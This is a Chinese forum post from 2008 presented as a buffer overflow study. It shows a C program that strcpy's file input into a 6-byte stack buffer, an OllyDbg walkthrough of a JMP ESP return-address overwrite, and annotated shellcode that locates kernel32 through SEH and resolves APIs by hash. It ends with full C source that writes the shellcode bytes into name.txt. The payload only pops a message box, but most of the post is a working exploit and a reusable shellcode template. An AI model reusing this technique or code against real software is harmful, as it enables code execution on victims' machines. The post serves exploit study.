Buffer OverFlow Stduy
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main(void)
{
char buffer[6];
char temp[1024];
FILE *fp;
fp=fopen("name.txt","r");
if(!fp)
exit(1);
fscanf(fp,"%s",temp);
fclose(fp);
strcpy(buffer,temp);
return 0;
}
看一段C语言程序
问题很经典,编译好OD加载,断这里看下吧
首先看下 Strcpy 这里栈的结构.jpg (157.97 KB)
2008-8-1 09:24
栈Buffer空间只有8个字节
读取长文件后,Buffer放不下了
Buffer 下面的 ESP和EBP以及栈内其他数据也被覆盖了
看下返回地址
经典的跳转 JMP ESP 地址,单步跟进来可以看到跳转到的是 JMP ESP 命令这里
单步 F8
来到
这里的我们微调下,全程F8单步来到 0012FBF6
这里~
0012FBA0 60 PUSHAD ; 自己模拟个 GetProcAddress 函数
0012FBA1 8B6C24 24 MOV EBP,DWORD PTR SS:[ESP+24]
0012FBA5 8B45 3C MOV EAX,DWORD PTR SS:[EBP+3C]
0012FBA8 8B7C05 78 MOV EDI,DWORD PTR SS:[EBP+EAX+>
0012FBAC 01EF ADD EDI,EBP
0012FBAE 8B4F 18 MOV ECX,DWORD PTR DS:[EDI+18]
0012FBB1 33DB XOR EBX,EBX
0012FBB3 B3 80 MOV BL,80
0012FBB5 80EB 60 SUB BL,60
0012FBB8 8B1C3B MOV EBX,DWORD PTR DS:[EBX+EDI]
0012FBBB 01EB ADD EBX,EBP
0012FBBD 49 DEC ECX
0012FBBE 8B348B MOV ESI,DWORD PTR DS:[EBX+ECX*>
0012FBC1 01EE ADD ESI,EBP
0012FBC3 31C0 XOR EAX,EAX
0012FBC5 99 CDQ
0012FBC6 AC LODS BYTE PTR DS:[ESI]
0012FBC7 84C0 TEST AL,AL
0012FBC9 74 07 JE SHORT 0012FBD2
0012FBCB C1CA 4D ROR EDX,4D ; 移位常量超出 1..31 的范围
0012FBCE 01C2 ADD EDX,EAX
0012FBD0 ^ EB F4 JMP SHORT 0012FBC6
0012FBD2 3B5424 28 CMP EDX,DWORD PTR SS:[ESP+28]
0012FBD6 ^ 75 E5 JNZ SHORT 0012FBBD
0012FBD8 8B5F 24 MOV EBX,DWORD PTR DS:[EDI+24]
0012FBDB 01EB ADD EBX,EBP
0012FBDD 52 PUSH EDX
0012FBDE 66:8B144B MOV DX,WORD PTR DS:[EBX+ECX*2]
0012FBE2 66:8BCA MOV CX,DX
0012FBE5 5A POP EDX
0012FBE6 8B5F 1C MOV EBX,DWORD PTR DS:[EDI+1C]
0012FBE9 01EB ADD EBX,EBP
0012FBEB 032C8B ADD EBP,DWORD PTR DS:[EBX+ECX*>
0012FBEE 896C24 1C MOV DWORD PTR SS:[ESP+1C],EBP
0012FBF2 61 POPAD
0012FBF3 C3 RETN
0012FBF4 0000 ADD BYTE PTR DS:[EAX],AL
0012FBF6 33DB XOR EBX,EBX
0012FBF8 64:8B1B MOV EBX,DWORD PTR FS:[EBX]
0012FBFB 803B FF CMP BYTE PTR DS:[EBX],0FF
0012FBFE 74 04 JE SHORT 0012FC04
0012FC00 8B1B MOV EBX,DWORD PTR DS:[EBX]
0012FC02 ^ EB F7 JMP SHORT 0012FBFB
0012FC04 8B5B 08 MOV EBX,DWORD PTR DS:[EBX+8]
0012FC07 8B5B 08 MOV EBX,DWORD PTR DS:[EBX+8] ; 枚举 SEH 到头
0012FC0A 8BCB MOV ECX,EBX
0012FC0C C1E9 14 SHR ECX,14
0012FC0F C1E1 14 SHL ECX,14 ; 求得 Kernel32.dll 基址
0012FC12 33D2 XOR EDX,EDX
0012FC14 80C2 56 ADD DL,56
0012FC17 8BF5 MOV ESI,EBP
0012FC19 2BF2 SUB ESI,EDX
0012FC1B B8 9E5E1EED MOV EAX,ED1E5E9E
0012FC20 2D 10101001 SUB EAX,1101010
0012FC25 50 PUSH EAX ; 嘿嘿 自己研究
0012FC26 51 PUSH ECX
0012FC27 FFD6 CALL ESI ; 获取 LoadLibraryA 函数地址 ==> EAX
0012FC29 33D2 XOR EDX,EDX
0012FC2B B2 5C MOV DL,5C
0012FC2D 8BFD MOV EDI,EBP
0012FC2F 03FA ADD EDI,EDX
0012FC31 57 PUSH EDI ; 偏移量指向 "USER32.DLL" 字符串
0012FC32 FFD0 CALL EAX ; EAX ===> LoadLirbraryA
0012FC34 B9 A8A24DBC MOV ECX,BC4DA2A8
0012FC39 51 PUSH ECX
0012FC3A 50 PUSH EAX ; 查找 MessageBoxA 函数地址
0012FC3B FFD6 CALL ESI ; EAX <=== MessageBoxA
0012FC3D 33FF XOR EDI,EDI
0012FC3F 33C9 XOR ECX,ECX
0012FC41 8BF5 MOV ESI,EBP
0012FC43 B1 73 MOV CL,73
0012FC45 03F1 ADD ESI,ECX
0012FC47 57 PUSH EDI
0012FC48 56 PUSH ESI
0012FC49 56 PUSH ESI
0012FC4A 57 PUSH EDI
0012FC4B FFD0 CALL EAX ; Call MessageBoxA 函数
0012FC4D 83C3 13 ADD EBX,13 ; +13后跟进来看下吧
0012FC50 FFE3 JMP EBX ; Call ExitProcess
0012FC52 55 PUSH EBP
0012FC53 53 PUSH EBX
0012FC54 45 INC EBP
0012FC55 52 PUSH EDX
0012FC56 3332 XOR ESI,DWORD PTR DS:[EDX]
0012FC58 2E: PREFIX CS: ; 多余的前缀
0012FC59 64:6C INS BYTE PTR ES:[EDI],DX ; I/O 命令
0012FC5B 6C INS BYTE PTR ES:[EDI],DX ; I/O 命令
0012FC5C 0055 53 ADD BYTE PTR SS:[EBP+53],DL
0012FC5F 45 INC EBP
0012FC60 52 PUSH EDX
0012FC61 3332 XOR ESI,DWORD PTR DS:[EDX]
0012FC63 2E: PREFIX CS: ; 多余的前缀
0012FC64 64:6C INS BYTE PTR ES:[EDI],DX ; I/O 命令
0012FC66 6C INS BYTE PTR ES:[EDI],DX ; I/O 命令
0012FC67 0000 ADD BYTE PTR DS:[EAX],AL
0012FC69 45 INC EBP
0012FC6A 78 70 JS SHORT 0012FCDC
0012FC6C 6C INS BYTE PTR ES:[EDI],DX ; I/O 命令
0012FC6D 6F OUTS DX,DWORD PTR ES:[EDI] ; I/O 命令
0012FC6E 69742E 42 792E4>IMUL ESI,DWORD PTR DS:[ESI+EBP>
0012FC76 74 65 JE SHORT 0012FCDD
0012FC78 72 21 JB SHORT 0012FC9B
0012FC7A 00CC ADD AH,CL
shellCode 硬编码 编的 小弟弟的小弟弟都累了~'
不作赘述,代码EZ 单步走一边什么都明白了~
贴一个 生成可以溢出的 C Code
===================================================================
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <windows.h>
//main function
int main(void)
{
HANDLE hFile;
DWORD dwByteWrite;
int boFlag;
static unsigned char ShellCode[] = {
0xBB, 0xA8, 0xC1, 0xCB, 0xCE, 0xD2, 0x31, 0x30,
0xB8, 0xF6, 0xD0, 0xA1, 0xCA, 0xB1, 0xA3, 0xA1,
0x12, 0x45, 0xFA, 0x7F, 0x33, 0xC0, 0x66, 0xB8,
0xAB, 0x13, 0x66, 0x2D, 0x19, 0x10, 0x8B, 0xEC,
0x2B, 0xE8, 0x81, 0xE4, 0x01, 0xF1, 0xFF, 0xFF,
0xFF, 0xE5, 0x00, 0x00, 0x60, 0x8B, 0x6C, 0x24,
0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x7C, 0x05, 0x78,
0x01, 0xEF, 0x8B, 0x4F, 0x18, 0x33, 0xDB, 0xB3,
0x80, 0x80, 0xEB, 0x60, 0x8B, 0x1C, 0x3B, 0x01,
0xEB, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 0x31,
0xC0, 0x99, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1,
0xCA, 0x4D, 0x01, 0xC2, 0xEB, 0xF4, 0x3B, 0x54,
0x24, 0x28, 0x75, 0xE5, 0x8B, 0x5F, 0x24, 0x01,
0xEB, 0x52, 0x66, 0x8B, 0x14, 0x4B, 0x66, 0x8B,
0xCA, 0x5A, 0x8B, 0x5F, 0x1C, 0x01, 0xEB, 0x03,
0x2C, 0x8B, 0x89, 0x6C, 0x24, 0x1C, 0x61, 0xC3,
0x00, 0x00, 0x33, 0xDB, 0x64, 0x8B, 0x1B, 0x80,
0x3B, 0xFF, 0x74, 0x04, 0x8B, 0x1B, 0xEB, 0xF7,
0x8B, 0x5B, 0x08, 0x8B, 0x5B, 0x08, 0x8B, 0xCB,
0xC1, 0xE9, 0x14, 0xC1, 0xE1, 0x14, 0x33, 0xD2,
0x80, 0xC2, 0x56, 0x8B, 0xF5, 0x2B, 0xF2, 0xB8,
0x9E, 0x5E, 0x1E, 0xED, 0x2D, 0x10, 0x10, 0x10,
0x01, 0x50, 0x51, 0xFF, 0xD6, 0x33, 0xD2, 0xB2,
0x5C, 0x8B, 0xFD, 0x03, 0xFA, 0x57, 0xFF, 0xD0,
0xB9, 0xA8, 0xA2, 0x4D, 0xBC, 0x51, 0x50, 0xFF,
0xD6, 0x33, 0xFF, 0x33, 0xC9, 0x8B, 0xF5, 0xB1,
0x73, 0x03, 0xF1, 0x57, 0x56, 0x56, 0x57, 0xFF,
0xD0, 0x83, 0xC3, 0x13, 0xFF, 0xE3, 0x55, 0x53,
0x45, 0x52, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C,
0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x2E,
0x64, 0x6C, 0x6C, 0x00, 0x00, 0x45, 0x78, 0x70,
0x6C, 0x6F, 0x69, 0x74, 0x2E, 0x42, 0x79, 0x2E,
0x43, 0x61, 0x74, 0x65, 0x72, 0x21};
printf("\n\3Q for Liquidworm's C Code.\nBuffer OverFlow Exploit Test!\nCode By Cater 50 hours Work~\n\n");
//Create The 畸形File
hFile=CreateFile(
"name.txt",
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if(hFile == INVALID_HANDLE_VALUE) //Create File Failure
{
printf("Create name.txt File Fail.\n");
exit(1);
}
else //Create File Succeeds
{
//Data Write To 畸形File
boFlag=WriteFile(
hFile,
ShellCode,
sizeof(ShellCode),
&dwByteWrite,
NULL
);
if(boFlag == 0) //Write File Failure
{
printf("Create name.txt File Fail.\n");
CloseHandle(hFile); //Close The File Handle
exit(1);
}
else //Write File Succeeds
printf("Create name.txt File Succeed.\n");
CloseHandle(hFile); //Close The File Handle
}
getch();
return 0;
}
=============================================================================================
Studay Cater.Qiu 2008.08.01 奋战了50小时后的产物~感兴趣的朋友可以去 hi.baidu.com/caterqiu
=============================================================================================
贴源代码 BufferOverFlowStudy.By.Cater.rar
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)